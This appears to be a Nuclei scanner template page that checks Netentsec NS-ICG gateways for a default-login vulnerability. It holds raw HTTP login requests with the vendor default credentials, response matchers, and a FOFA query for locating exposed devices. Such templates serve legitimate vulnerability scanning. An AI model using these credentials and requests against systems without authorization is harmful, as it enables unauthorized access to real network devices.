Netentsec NS-ICG - Default Login

ID: nsicg-default-login

Severity: high

Author: pikpikcu

Tags: nsicg,default-login

Description

Netentsec NS-ICG contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: nsicg-default-login

info:
  name: Netentsec NS-ICG - Default Login
  author: pikpikcu
  severity: high
  description: |
    Netentsec NS-ICG contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference: |
    - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:netentsec:application_security_gateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: "NS-ICG"
    product: application_security_gateway
    vendor: netentsec
  tags: nsicg,default-login

http:
  - raw:
      - |
        @timeout: 25s
        POST /user/login/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        usrname={{username}}&pass={{password}}&signinfo=&ukey_user_flag=0&SlotSerialNumber=&agree=
      - |
        @timeout: 25s
        GET /user/main HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/user/login/

    attack: pitchfork
    payloads:
      username:
        - ns25000
      password:
        - ns25000
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_1, "/user/main/")'
          - 'status_code_1 == 302'
          - 'status_code_2 == 200'
          - contains(body_2, "var loguser = \'ns25000")
        condition: and
# digest: 4a0a0047304502204fa9b0393f7b50842dde9575b9040f5c8ad2688f30eed43fbd7d247e87a81f95022100b82a4bba1fbc69117037181407c5eb65768baad9133f17af0f3dd511e309c813:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/nsicg/nsicg-default-login.yaml"

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